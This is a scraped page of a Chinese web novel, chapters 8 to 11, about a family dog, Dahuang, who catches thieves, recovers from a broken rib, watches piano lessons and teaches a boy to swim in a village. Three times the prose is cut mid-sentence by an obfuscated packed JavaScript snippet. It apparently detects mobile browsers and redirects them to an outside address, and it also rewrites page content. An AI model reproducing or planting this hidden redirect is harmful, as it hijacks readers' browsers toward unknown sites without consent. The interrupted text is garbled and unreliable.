“咬谁……”小王警官话还没落，他就见到了想上车还被群众拦着的三人。拦人的大爷大妈还特好心地让他们先别走一定要打狂犬疫苗……三人急得满头大汗，偏偏这会儿还走不掉。 “不要了不要了，我们自己会打疫苗，我们有事要先走……”黑衣男连连摆手。 小王警官刚问了两句是不是搬家公司，还没等人回答，那厢大刘警官已经掏出了银镯子吧嗒一声给人挂上了：“来来来，我们现在带你们去医院打疫苗。” “欸？”围观群众一脸懵，小王警官倒是马上反应过来了也提供了同款银镯子给另一位戴上了，末了，他又从车里捞出一副给了剩下的那一位，人人有份，谁也不落。 “啊？”围观群众继续围观，这会儿有脑子聪明的反应过来了：“是哪户要搬家？” “一幢的304，”小胡答。 “304这几天去杭州看病了，哪来的搬家？”有同一幢楼的邻居说了，这一说大家“轰”地一下闹开，看三位的眼神都不一样了。 “是小偷？” “天杀的小偷偷了我家两辆电瓶车！” “我家的电瓶车也被偷了！” “去年2幢有孩子丢了是不是也是他们干的？” 要不是两位警官拦着，这会儿三位小偷都快被群众们给撕了，等来两位警官的后援来了，他们忙不迭地将人押走，走之前大刘警官狠狠地夸了大黄一顿，说他“干得好”！ 大刘警官夸的就是不一样，大黄可嘚瑟了，等蒲妈赶到的时候他晃着尾巴嘚瑟地朝蒲妈“嗷”，然后被刚赶到还不知晓后情的蒲妈狠狠地敲了一顿——以为大黄又惹事了，这次蒲妈来了时候还带了一根伸缩棍，看见大黄先一顿打，打得大黄“嗷嗷”叫，叫得可惨了，又委屈又凄惨。 8. 委屈 “嗷嗷嗷嗷！！！” “嗷嗷嗷~~~” “嗷呜~~~” “呜呜呜~~~” “大黄别叫了，是我的错，我的错我的错！”宠物医院挂水的床上，蒲妈摸摸大黄一脸无奈地道歉：“你这次做得真好真棒，明天我给你做红烧肉……” “呜呜呜呜~~~”大黄竖着脚被绑在挂水架子上，呜呜依旧叫个不停。 “行了行了，别叫了，我给你买玩具！”蒲妈挺无奈地安慰大黄。 “大黄还在叫啊？”小江兽医刚忙完从诊室出来，路过大黄听他还在嗷嗷叫，笑了一下问：“大黄怎么叫得这么惨？” “之前以为大黄又闯祸了打了他两下，这次委屈死了，”蒲妈摸着大黄叹气：“从刚才一直叫到现在了！” “怎么能打它呢？大黄这次可立了大功了！”不知为什么八卦的事总是传得特别快，大黄一咬三的事小江兽医居然早就知道了，下午蒲妈带着大黄来看的时候小江兽医还夸它英勇，把大黄乐得“汪汪”叫，不过因为之前被踢了，拍片发现胸口肋骨骨折，大黄叫出来的声有些不大对劲。 小江兽医给大黄安排了挂水，又给他开了药，这会儿蒲妈陪着大黄挂水，一边挂一边听大黄嗷嗷叫。他可委屈死了，一见到蒲妈先挨了一顿打，就算被绑在架子上挂水大黄也嗷嗷个不停，蒲妈连连道歉也没能把他安抚好，后来还是小江兽医给大黄剥了根香肠他才不叫的。 “你怎么这么能吃啊？”蒲妈无语，点着大黄的狗头问。 大黄“嗷”了一声，吃香肠吃得香，吃完一根看小江兽医自个儿也在吃，他“汪”了一声表示他还想要，这次小江兽医不给他了。 “香肠尝个味道就行，狗不能多吃，”小江兽医给蒲妈讲了一套养狗注意事项，什么巧克力冰淇淋鸡骨头韭菜芹菜西红柿不能吃，一通讲下来给蒲妈听急了，平常在家他们吃什么大黄就吃什么，哪里注意过这些。 “没事没事，中华田园犬胃好，刚才检查过了，大黄没什么事，”小江兽医安慰了一句，告诉蒲妈之后注意些就行。 蒲妈拍拍大黄狗头，让他好好听。 大黄“汪”了一声。 因大黄伤了骨头，水挂好后蒲妈不敢让他乱动，就叫了辆三轮车把他搬回家，回家第一件事先个给他盛了一碗肉——这次是扣肉，餐馆里买的，因为给大黄挂水今天吃饭迟了，蒲妈餐馆里打包了几样菜，还专门给大黄挑了一碗扣肉吃。 大黄这顿饭吃得享受，怕他地上吃饭压到骨头，蒲妈还找了个小凳子给他放饭盆，大黄只要低头就能吃到。 “为什么大黄有扣肉吃啊？”家里小孩多了，不患寡患不均，看大黄独享一盘扣肉蒲佳逸嚷嚷起来表示不公平。 “大黄今天抓了三个小偷，这是奖励！”蒲妈简单地提了一句。 “真的假的？我怎么没听说？”蒲佳逸一脸好奇。 “你在上学呢，能听说什么？”看蒲佳逸不好好吃饭老盯着大黄碗里的肉，蒲妈拍了他一下：“坐端正，筷子不能插饭里，好好吃饭！” “我想吃肉……”蒲佳逸端着自个儿的碗蹲到了大黄面前，跟大黄打着商量：“大黄我和你换一换嘛，我给你菜，换你一块扣肉……” 不过还没等蒲佳逸和大黄商量完，他先被他妈制裁了。 蒲妈这会儿也无语了，桌上又不是没菜，为啥老惦记着狗碗里的肉呢？ “大黄碗里的看着好吃，”蒲佳逸表示桌上的菜一点儿都不好吃，看着就没食欲，不像大黄碗里的，那扣肉看着晶莹剔透让人很有食欲。 蒲妈：“……”嫌弃桌上的菜不好吃，和狗抢着吃味道难道好一点吗？ 看大黄大度地将自个儿盛满了扣肉的盆推到了蒲佳逸面前，蒲妈夸大黄真聪明，看自家儿子真的伸出筷子要去夹，蒲妈伸手拍了他脑袋一记，这儿子是个傻的！ “凭什么打我啊？！”蒲佳逸一脸委屈。 “大黄给你你还真要啊？”蒲妈惊讶。 “我想吃嘛！”蒲佳逸一点儿都不觉得有问题。 蒲妈：“……”家里欠你这口肉吗？非得夹大黄碗里的？！ 结果自然是没吃。狗碗抢食还是太超前了些，在蒲佳逸夹之前先被他妈制裁了。 伤筋动骨一百天，狗也一样。怕大黄乱跑蒲妈特地往严重里告诉他要是没养好伤以后骨头错位会畸形，蒲妈还专门找了几张照片给大黄看，成功把大黄吓住了。 这几天大黄乖得不得了，连小胡那儿都没去，就是时间长了他无聊，好不容易熬过半个月，遇上周日钢琴老师来上课，大黄兴奋得不得了。 “呀！大黄今天怎么了？”蒲佳逸的钢琴老师叫董白薇，和大黄也很熟悉了，看大黄摇着尾巴过来，她弯腰摸了摸大黄，摸得大黄舒服地眯起眼还在地上打了个滚。 “色狗！”看大黄露出肚皮，蒲佳逸嫌弃地唾了一声，还跟董老师说大黄是只双标狗。 “他看见美女就露肚皮！”蒲佳逸啧啧两声，朝大黄“哼”了一记。 大黄不满地“汪”了一声。谁不喜欢董老师啊？董老师穿得仙仙的，还很香。 蒲佳逸就不大喜欢董老师，他觉得董老师太严格了，老是扣他手型和折指的问题，教来教去也只让他练拜厄，他快练吐了。 “妈妈，弹钢琴能不能换以前的刘老师啊？”这天在蒲妈炒菜的时候，蒲佳逸抱着门探出个头问。 “怎么了？董老师不好吗？”蒲妈疑惑了一声，董老师一向口碑很好，蒲妈还是托关系联系上的。 “弹拜厄弹得快吐了！我想弹中国话！”蒲佳逸做了个鬼脸吐了吐舌头。 “什么中国话？”蒲妈没赶上流行，不知道蒲佳逸在说什么。 “SHE新出的曲子，”蒲佳逸摇着手唱起来：“全世界都在学中国话……” “哦哦哦，步行街上经常放的歌啊！”一听旋律，蒲妈有印象了，看蒲佳逸摇头摆脑，她板住了脸：“董老师刚来的时候怎么说的还记不记得？你基础不好，问题很多，要从基础一点点练！” “那能不能不要弹拜厄了啊？”蒲佳逸有点抓狂，弹拜厄弹到他现在做梦梦里都是拜厄。 “之前董老师不是说可以练尼车尔吗？” “是车尼尔！”蒲佳逸纠正，一提起车尼尔，他双眼无神：“那我宁愿弹拜厄……” 蒲妈不懂这些名家练习曲，但她最近拿大黄来鞭策蒲佳逸：“当初是你自己说想学钢琴的，学钢琴就好好学，再不练到时候大黄都比你会弹了！” “那能一样吗？大黄是狗！我又不狗！”蒲佳逸啧啧两声，路过大黄的时候不满地薅了他一把。 大黄：“？？？” 说到弹钢琴的事，蒲妈前阵子刚给董老师打过电话问她带不带小孩子，蒲梓涵4岁，刚刚适合钢琴启蒙的时候。 蒲佳逸学了三年，前两年是刘老师带的，去年才刚换了董老师。之前的那位刘老师教得不好，蒲佳逸有很多坏习惯，基础差再加上不怎么练琴，眼见得他对钢琴越来越没感情，蒲妈开始考虑让小号练钢琴——上万块的珠江钢琴老贵了，买都买了，总得物尽其用。 董老师也乐意，教蒲佳逸太心累，她也想教个小朋友来证明一下她真的很努力在教了。 人的事大黄还不大懂，但弹琴的事他懂了。董老师在教蒲梓涵的时候大黄听得比小朋友还认真，蒲梓涵唱音的时候大黄也唱，“汪”得相当标准，唱完能当标准教材使。 董老师有两只手机，拍照用的是一只白色的智能机，后盖上是被咬了一口的苹果，她手机上有个摄像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831082|175569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头能拍照，比蒲妈蒲爸的诺基亚清晰好多，她还特地给大黄拍了照片传到了网上。 那是只蓝鸟小图标，大黄没见过，好奇地凑近嗅了嗅。 “大黄也见过这个吗？”董老师摸摸大黄的头又把他推开了，不想让大黄的口水沾到她的新手机上，她前阵子刚托人从国外带回来的手机，可喜欢了。 大黄“嗷”了一声，摇摇头。 “哇！董老师的照相机好厉害！”蒲佳逸弹钢琴时练得一脸痛苦，这会儿董老师教蒲梓涵他休息，又活蹦乱跳起来。男孩子对科技军事感兴趣些，看见董老师的新手机，他好奇地凑过来。 “是新出的智能机，”董老师也很想炫耀，美国那边开始风靡智能机，但知雁市没多少人懂，遇上小朋友问，董老师挺积极地给蒲佳逸介绍：“这个是推特，是国外新出的社交媒体，有很多人玩。”她在自个儿的推特上发了大黄的照片，底下还有不少回复。 “是全英文的啊！”推特多是外国人玩，一看那密密的英文，蒲佳逸只感觉眼前冒圈圈，小学三年级开始学英语，但蒲佳逸的英语不咋样。 “英语不好？”这会儿是休息时间，董老师也聊了几句——之前蒲妈告诉她说蒲佳逸觉得她太严格了，董老师试图和小朋友说说话拉进点距离。 然而话题找得不好，一说英语，蒲佳逸蔫了，叽叽咕咕地吐槽说为什么我们中国人还要学英语，听得董老师哭笑不得。 这年代外贸交易相当热烈，英语是一定要学的，不过这话题说起来可复杂了，她也不好和小孩子讲，董老师摸摸大黄的头，重新把话题带了回来，还是聊大黄吧，轻松点…… 一聊起大黄，蒲佳逸话可多了，他叽叽咕咕把大黄一咬三的事迹一顿说，一旁还有蒲梓涵添油加醋。 小朋友自从上了幼儿园，小嘴叭叭特能说。这会儿听她哥讲大黄，小朋友举起了手告诉董老师他们家大黄会弹琴。 “大黄弹得比哥哥还好！”蒲妈经常拿大黄来鞭策蒲佳逸，被蒲梓涵听到记住了，然而小朋友分不清前因后果，只知道她哥不练琴连大黄都比不上了。 “谁说的？谁说的谁说的？大黄那狗爪子能弹什么？”平日里被他妈说，这会儿还要被妹妹说，蒲佳逸一脸不服。 “大黄弹得就是比你好！”小朋友吵架不讲理，反正她说大黄厉害就是厉害，蒲梓涵小嘴叭叭开始复读机：“大黄弹得比你好！大黄弹得比你好！” “我比大黄厉害！”一个小朋友，另一个也是小朋友，一个复读机，另一个开始高速复读机：“我比大黄厉害我比大黄厉害我比大黄厉害……” 眼见得俩兄妹闹上了，董老师一个头两个大，又恰逢蒲妈这会儿出门买菜去了，董老师劝又劝不下来，她无奈地把目光投向了大黄。 大黄围观得起劲呢，被董老师这么一瞧，立马精神地跳到琴凳上，爪子一拨，CDEFGAB~ 钢琴一响，两边停战。 “我就说大黄会弹琴！”蒲梓涵最后叽咕了一声。 董老师哭笑不得地把小朋友劝回到琴凳上，今天她教蒲梓涵的《扬基歌》还没练熟练呢，至于蒲佳逸，被大黄赶去房间里写作业了。 蒲佳逸下半年就要读五年级了，蒲妈这两年抓他成绩抓得紧，除了老师布置的作业还给他买了练习册和电子辞典。练习册么，蒲妈盯着的时候做一做，平常是不做的，电子辞典么，蒲妈买这个本来想让他好好学习英语，不过词典功能没怎么用上，倒被蒲佳逸用来玩游戏，他推箱子都玩到35关了。 这些年新的学习工具一样接着一样出现，蒲妈在这方面非常赶潮流，给蒲佳逸买过学习机和电子辞典，刚上手的时候蒲佳逸很新奇，时间长了，就不怎么感兴趣了，用到最后，在四年级的小朋友眼里，一概评价为游戏不多，不好玩！ 9. 回村 6月一结束立马就迎来了暑假。怕两个小孩在家没人管，蒲妈给打包送乡下爷爷奶奶家了，外附大黄一只。 莲花村大黄老熟了。熟狗回村，一下车就开始“嗷嗷”叫。村里狗多，他一叫，四方的狗也一起叫，这个“汪”那个“汪”，这个“嗷”那个“嗷”，闹得村里一下子热闹起来。 “杏花你孙子孙女回来了！你家狗孙子也回来了！”狗一叫，村里人出来看热闹，看见从出租车上下来的两个小朋友，邻居连连打趣。 “什么狗孙子？！”老太太一脸纳闷地出门，看见蒲佳逸蒲梓涵立马笑逐颜开，然后她看到了跟在俩小朋友屁股后头的大黄：“把孩子送来就行了，怎么把狗都送来了？” “送两个也是送，送三个也是送嘛，”蒲妈左手推着只行李箱右手还拎着两大袋子的东西：“我们等车等了很久，有大黄在，一开始几个司机不肯送……” “这么大一只狗，哪个司机肯送哦~”邻居梁老太太这会儿凑到了蒲家院子门前看热闹夸大黄长得好：“娟娣家的那只和这只是一母同胞的吧？我看着这只好像大很多？” “我们家大黄城里养的，吃的都是狗粮，养得好嘛！”老太太炫耀了一句，看蒲妈东西多递了把手，本来想看看东西有没有带齐，结果第一个袋子拉开发现是狗盆狗垫子狗玩具她一脸纳闷：“你这是带了个狗窝回来啊？” “大黄要睡垫子的！”蒲梓涵给奶奶介绍道：“这个是大黄每天要抱着睡的小鸭鸭，这个粉色的是大黄吃饭用的盆盆，还有这个蓝色的是大黄喝水用的盘盘！” “吓！城里养狗还整这么复杂？你们家大黄跟你们去城里还享福去了！”别说蒲家老太太了，一旁嗑瓜子的梁老太太都听得头大。 “这还得给狗排个房间？”老太太提了一袋狗用品进了屋，嘴里抱怨了一句又问这次两个小孩住多久。 “住一个月吧，我给佳逸报了英语培训班，到时候得去上课。” “逸逸得补课，那涵涵呢？涵涵总没课要上吧？”老太太好几个月没见着孙子孙女了，这会儿想念得紧。 “梓涵要上钢琴课，老师说她年纪小可塑性强，正好趁着暑假练练基础巩固巩固。” “怎么都要补课啊！”老太太抱怨一声，说两个小孩上学了都不来她这边了。但听蒲妈说“要不把大黄留下”，一看那熟门熟路开门进屋的大黄狗，老太太嫌弃了一声：“真孙子孙女都走了，我留个狗孙子干嘛？” 大黄还真是个狗孙子。狗孙子这会儿已经见到了他狗妈。六月的江南天气闷热，下午正是最晒的时候，狗妈趴在饭桌下边午睡，看见大黄进来抬了抬眼皮子，又眯上了。 大黄亲热地想去舔一舔，谁料被狗妈一爪子拍开，大黄不信邪，又凑过去，被拍开，再凑，再被拍开。 他纳闷地绕着狗妈转了一圈汪了几声，转头跳上木头沙发，找到老位置也郁闷地趴下了。 “大黄一进门就躺下了！”蒲佳逸一进门就看见早已躺在沙发上的大黄，他找蒲妈告小状，然后小小声地跟蒲妈商量：“我今天能不能不做作业，我也想像大黄那样……” 蒲妈：“像大黄哪样？” 一看他妈眉毛都竖起来了，蒲佳逸一个激灵连忙改口：“没说什么！我在说大黄好懒，回来就躺下了！” 大黄：“？？？”听蒲佳逸埋汰他，他也抬头竖起了耳朵，疑惑地歪了歪头。你不想做作业扯我干嘛？ 知晓孙子孙女回来，老爷子下午刚吃完饭就已经张罗上了，这会儿正在炸酥鱼，看俩小孩进门，他端了一碗刚炸好的酥鱼让俩小孩当零食吃。 一看有东西吃，大黄率先竖耳朵，看蒲佳逸已经尝上了，他蹦下木沙发围着蒲佳逸摇尾巴，一扑一扑冲着蒲佳逸手里的酥鱼肉流哈喇子。 “大黄大馋狗！”蒲梓涵抓着酥鱼吃了块，看大黄也要，她给大黄也喂了块。她一抛，大黄张嘴一接，两人配合默契，等蒲妈看到的时候大黄已经吃了三四块了。 “酥鱼有刺！狗不能吃！”蒲妈先是注意到大黄嘴里咯吱咯吱响，还疑惑呢，听蒲佳逸说大黄吃鱼了，她一惊，跳起来就想掰开大黄的嘴，结果大黄一个吞咽，全吃下去了。 蒲妈掰着大黄的嘴让他吐，没成，一脸苦恼地揉了揉他肚子，问他有没有被鱼刺梗住，看大黄摇了摇头，放下了点心，又拍拍大黄的头骂他贪吃：“你这张嘴能吃鱼吗？要是被鱼刺梗住又得去医院。上次骨头断了的事忘了？宠物医院里看了五百多呢！” 大黄“嗷”一声，谄媚地舔了舔蒲妈掌心。 “谁被鱼刺梗住了？”老爷子耳朵不太灵，炸完酥鱼出来听到一言半语，以为是小孩被鱼刺梗住了，一惊：“我怕涵涵逸逸不会吃鱼特地让卖鱼的国庆把鱼刺撇了，还有鱼刺吗？” “爸！没呢，在说大黄，这狗贪吃，什么都要吃一口！” “哦！狗啊！”一听说是狗，老爷子放下了心，看大黄长得大了好几圈，他还纳闷：“当初的小狗怎么长这么大了？”看他狗妈也没这么大呀！ “基因变异吧！宠物医院的小江医生也说大黄比其他狗大了一圈，”蒲妈捏了捏大黄的嘴，叫他别再吃鱼了，有鱼刺，对狗不好。炸酥鱼弄掉的是小骨头，大骨头还在，大黄也不会吐骨头，全咬碎吞了下去，鱼刺尖利，蒲妈怕他伤到。 大黄“嗷”了一声，眼巴巴地看着蒲佳逸蒲梓涵吃鱼。 看大黄不能吃，蒲佳逸贱兮兮地扭屁股，在大黄面前表演吃鱼，气得大黄骂骂咧咧。他一扭头，屁股对着蒲佳逸，决定不理他。 他不理，蒲佳逸越起劲，抓着大黄的尾巴把他拖回来，好兄弟似地拍拍大黄的背，小声地跟他商量：“我给你剥香肠吃，一会儿你帮忙帮我把作业撕了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831083|175569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好不好？” 一听香肠，大黄耳朵一竖，但听蒲佳逸的要求，他翻了个白眼耳朵又耷拉下了。他要是敢撕作业今天少不得一顿打，他才不傻，这种事他才不干咧！ 大黄骂骂咧咧地跳上沙发，趴下了。 爷爷奶奶的老房子地方大，房间多，蒲佳逸蒲梓涵各自都有房间，蒲妈帮他们把东西放好把床铺好，等吃了晚饭才走，不过这顿晚饭吃得很热闹。 快饭点的时候，蒲风春回来了。 他今天休息相亲去了，为了相亲还做了头发喷了摩丝，一回来屋里都一亮。可惜再亮也亮不到相亲对象身上，蒲家小儿子今天的相亲依旧以失败告终。 “你怎么在这儿？”饭点的时候老太太端着菜出来看见在撸狗的小儿子，眉毛一挑问道。 “回家吃饭啊！”蒲风春一回来就摸了摸大黄，颠了颠狗夸大黄长得壮，听他妈问他怎么在家，蒲风春回得一脸理所当然。 “你今天不是相亲去了吗？”一看他这表情，老太太心急起来：“怎么不和小姑娘吃晚饭？” “这不是相亲吹了嘛！”蒲风春专心撸狗并试图转移话题：“嫂子，听说你们小区有只狗一咬三抓了三小偷？” “就是大黄！”一听一咬三，蒲佳逸兴致勃勃地跟他小叔介绍大黄事迹，蒲风春是个相当给面子的听众，“呦”了几声夸大黄勇，可惜话题没能说完被老太太打断了。 “怎么又黄了呢！”老太太手里的一盘炒鸡往桌上重重一放，叉着腰就问她小儿子：“你是不是相亲途中又抓小偷去了？” 这是上上次蒲风春相亲时的事了。他和人小姑娘在步行街逛的时候遇上了小偷，蒲风春冲上去就把人抓了送到了就近所里，一套流程下来已经好几个小时后，等回过神发现自个儿把人小姑娘给忘在了脑后，那次相亲自然就吹了。 “没呢！就……合不来！”蒲风春又问了几句大黄试图再次转移话题，然而老太太不依不饶，就逮着他找不到对象的事说，这一说直到饭桌上还没结束，老太太还问蒲妈有没有小姑娘介绍。 “逸逸和涵涵的钢琴老师几岁了？有没有对象啊？”蒲风春找对象找了一年多都没成果，老太太急得不行，之前听蒲妈说学钢琴的事，老太太又打听起钢琴老师了。 蒲妈就挺无语，且不说董老师有没有对象的事，人家是从小学钢琴又在美国留学过的白富美，门不当户不对的，她怎么敢介绍？ “妈，别想了，董老师有对象，”蒲妈回了一句绝了老太太打探的心，看小叔子吃饭的时候只管埋头喂狗一点儿都不想聊这事，她干脆扯开了话题，聊聊两个小孩的成绩让老太太分分心。 聊到俩孩子，老太太果真感兴趣，可没两句话，听说蒲佳逸班上新换的英语老师去年刚工作，老太太心思一动又打听起小姑娘有没有对象了。 蒲妈：“……” 10. 游泳 家里吃饭一张八仙桌，老爷子老太太坐了北边和东边，蒲妈带着蒲梓涵坐西边，蒲风春和蒲佳逸坐南边。 桌子底下还有两只狗，狗妈乖巧地蹲在蒲风春脚边等着他投喂，大黄不怎么乖巧地在蒲佳逸脚边打滚，用鼻子拱拱蒲佳逸，示意他快点喂。 桌面上，老太太念着儿子找不到对象的事，老爷子偶尔附和两句，桌子下，叔叔和侄子喂狗喂得起劲。 桌上桌下大家互不干涉，一时间这顿饭吃得“其乐融融”。 蒲妈吃完饭就回市里去了，留下俩小的在村子里过暑假。 村里过的第一晚，老太太看孙子孙女可亲热了，给俩小孩安排了电风扇还要时不时地来看一眼，问他们冷不冷热不热。 蒲梓涵年纪小些，睡的是爷爷奶奶房间里的套间——农村自建房，房间造得大，房间中央用柜子隔出了一个套间，平常用来做衣物间，小朋友来了就摆了张折叠床给小朋友睡。 而蒲佳逸年岁大些，他有自个儿的房间。 老太太时不时来问一声，把蒲佳逸烦得不行。 放暑假，妈妈也不在，蒲佳逸带了游戏机过来。本来想熬个夜好好玩一玩，结果老被打断，蒲佳逸发着脾气让奶奶别过来了，老太太一时纳闷。 “我要做作业了！奶奶你别打扰我！”蒲佳逸将老太太推出门，等门一关上，他又拿出了游戏机。这PSP还是他跟张浩琪借的，等下个月就要还，这阵子蒲佳逸玩得正上头。 大黄偷偷蹭进房间时蒲佳逸玩游戏正玩得起劲。 天气太热了，大黄不想睡楼下。 趁着老太太老爷子在房间里看电视的时候，他偷偷摸摸爬到了二楼钻进了蒲佳逸的房间。他上蒲佳逸的床老熟练了，在家里的时候就老喜欢躺蒲佳逸床尾睡，这次也是，非常丝滑地爬上了床，往床尾一摊，四脚一翘打算睡了…… 没躺多久，觉得自己没吹到风，大黄又爬起来，给电风扇动了动位置，再躺下，这一次大黄舒服地叹了口气。 等蒲佳逸玩完几局游戏回过神，大黄已经在他床尾睡得四仰八叉。蒲佳逸伸脚轻轻地踹了踹大黄，他没醒，蒲佳逸吼他两声，大黄翻了个面继续睡……蒲佳逸无奈地将他扛到地上，结果游戏没玩多久，床尾又多出了一坨，不知道什么时候大黄又爬上来了。 蒲佳逸：“……” 蒲佳逸这一玩玩了大半宿，第二天睡到日上三竿才起。爷爷奶奶容着他，他这日子过得舒爽，来村里一周多，作业就没动过，要不就是玩游戏，要不就是看电视，这天听他叔说要去游泳，蒲佳逸把刚拿出的作业本一丢，蹦蹦跳跳地跟着去了。 而这会儿的大黄正在村里交友。 这些年小偷不少，村里好些人家都养狗。大黄在他狗妈的带领下认识了不少狗伙伴，在蒲佳逸乐不思蜀的时候，大黄跟着狗伙伴们把村里游了一遍，还参与了好几场打架，他甚至凭着他过人的神力和聪明的脑袋当上了狗领头。 这几日，大黄就带着他的狗伙伴们游村。这天游村遇上了蒲风春和蒲佳逸，他也屁颠屁颠地跟了上去，看蒲风春在教蒲佳逸游泳，大黄扑得比蒲佳逸还兴奋。 莲花村有条莲花河，莲花河绕着村子过，每到夏天，村民们纷纷跑去河里游泳。 莲花河算不得深，浅滩处只有一米多深，正适合小孩子学游泳。 蒲风春教着蒲佳逸浮水，他托着小孩让他学闭气，但蒲佳逸属旱鸭子的，怎么都学不会。 “呼、吸、呼、吸，下去的时候你闭气，上来的时候吸气，懂吗？”蒲风春这样那样一顿说，蒲佳逸还没学会呢，一旁的大黄倒是会了，他还无师自通了狗刨式，等大黄在水里游了一圈回来，蒲佳逸还在练闭气。 “小叔你是不是教法不对啊？”蒲佳逸可自信了，绝不怀疑自己，学不会一定是他小叔不会教。 “我游泳成绩当年大学班里第一！怎么不会教了？”蒲风春手一指旁边玩水玩得乐呵呵的大黄：“你看大黄都会了！”都是同样的教练，狗都会了！ “那能一样吗？”蒲佳逸捏着鼻子往水里一个猛扎，手脚并用扑棱扑棱，然而等他小叔托着的手一放，他整个人就扑棱扑棱地往下沉。看情况不对，蒲风春又给他托上了。 “你浮水上啊！要浮起来！”蒲风春教得耐心都快没了，然而蒲佳逸就是学不会，不仅学不会，还嫌弃他不会教。 “那你说谁能教？让大黄来吗？”蒲风春年轻小伙火气大得很，几次下来没把人教会还被嫌弃教得不行他也恼了，拉过旁边的大黄往蒲佳逸面前一摆，暴言让大黄教。 大黄自娱自乐游泳正起劲呢，被拉过来他一脸疑惑地歪了歪头，知晓蒲佳逸要学游泳，小狗特兴奋，举着小爪给人表演了个狗刨，怕蒲佳逸学不会，他又来了场慢动作。 狗刨要点，抬头，放松，同手同脚。 蒲佳逸有学不到位的，大黄还帮忙托，一来二去地，几次下来蒲佳逸居然还真会了。等蒲风春气咻咻地游了一圈散心回来，就见他侄子已经开始了狗刨，狗教的，动作标准，效果显著。 蒲风春：“……” 听他刚学会游泳的侄子抱怨他教得不行，比狗都不如，蒲风春没忍住额头迸了“井”字，你以为你游泳是狗教的说出去就很骄傲吗？ 蒲佳逸想了想，也默了。 叔侄俩沉默对视了会儿，决定掠过这话题。无论是教得比狗还烂，还是游泳是狗教的，好像都不大光彩…… 不过蒲佳逸很快就不必担心“游泳是狗教的”这问题了，这周他妈来了，一来就催他作业，蒲佳逸手忙脚乱地开始了补作业，而在蒲佳逸补作业的时候，大黄教练走马上任，正在教更多的学员——不过这次都是狗学员。 大黄初回村，先跟着狗妈去交际。 村里养狗多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831084|175569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，从东头到西头，一溜认了十多只狗。 大黄还遇上了他狗生小姐妹，铁包金高立耳的小姐妹如今也大了，有了个新名字叫妮妮，养在村西娟娣家，看见狗妈领着大黄过来，妮妮蹦来蹦去闹得可欢，兴奋地往大黄身上扑，亲亲热热地嗅来嗅去。 大黄和他狗生小姐妹玩了好一阵，又由狗妈带着去村狗圈子里交际了。等一圈村狗都认过了，狗妈就回了自己家——狗妈年纪大了，不大喜欢动，领着大黄认完狗就走了。 大黄年纪小又爱玩，跟着同村狗玩，没几天就打上了架——狗靠打架认地位，大黄打得可积极了。三天一小打，五天一大打，大黄天生神力，一爪子一只狗，打得大家心服口服，打到后来，他直接挑战村狗头头去了。 村子里现在的狗老大叫小黑，是只大狼狗，长得高大威猛打架也厉害。大黄和小黑打了好几场一直没分出胜负，这天在小黑家又打了一场，结果没收住力，打得“惊天动地”了些，把小黑主人家用砖垒起来的围墙给打塌了，放跑了小黑主人家养的鸡鸭十数只。 小黑主人家是住莲花河口的老李头，住在河口方便了他养鸡养鸭养大鹅。他家院子是用砖垒的，用砖叠起来的一堵矮围墙，也没用水泥粘一粘，大黄这么一撞，整个墙都塌了。 “轰隆”一声响，惊飞鸡鸭十数只。 等李老头出来看就见他家院子鸡飞狗跳——在满场子乱飞的鸡鸭中，大黄和小黑打架打得起劲。 “诶呦！我的鸡！”老李头一声惊呼，眼看着鸡鸭飞过倒塌的砖墙往外跑，他顺手抄起门口的锄头，提着就要来锤狗。 知晓自个儿闯了祸，小黑尾巴一夹傻乎乎地愣在原地，还是大黄精，一看形势不对拔腿就跑，跑之前还不忘咬住小黑尾巴将他拖走——看老李头那火冒三丈的样，那一锄头下去可要命。 拖走了小黑大黄还不忘招呼外边围观的狗，“汪汪”两声，村狗部队溜了个干净，看得老李头血压都高了。 老李头骂狗骂了一下午，从村口一直骂到蒲家家门口，等蒲家老爷子一脸纳闷地出来，问了才知道大黄闯了祸。 “老李头消消气消消气，等我家大黄回来我跟它说！”蒲家老爷子做好人这么一说，听得老李头更气了。 “你和它说，你怎么跟它说？你讲狗话我听听？”老李头掰着手指要跟蒲家老爷子算他鸡鸭的账。 一说算账，蒲家老爷子这好人做不下去了，提钱的事由蒲家老太太上场，听老李头说他丢的十多只鸡鸭，老太太腰一叉，让他找狗要去。 “你家的狗！你家的狗！”老李头气得手都在抖。 “我家的狗怎么了，你跟我家的狗说去！”蒲家老太太气势汹汹这么一说，正巧见大黄回来了，老太太一指大黄，让李老头找大黄要账。 李老头：“？？？！！！”他一看这屁颠屁颠跑回家的狗，他只觉得血压又高了。 11. 头头 大黄是条知错能改的狗。 其实在回来之前，他已经领着群狗把飞走的鸡鸭都找回来了。这回看见老李头，他“汪汪”两声，叫得还挺得意。 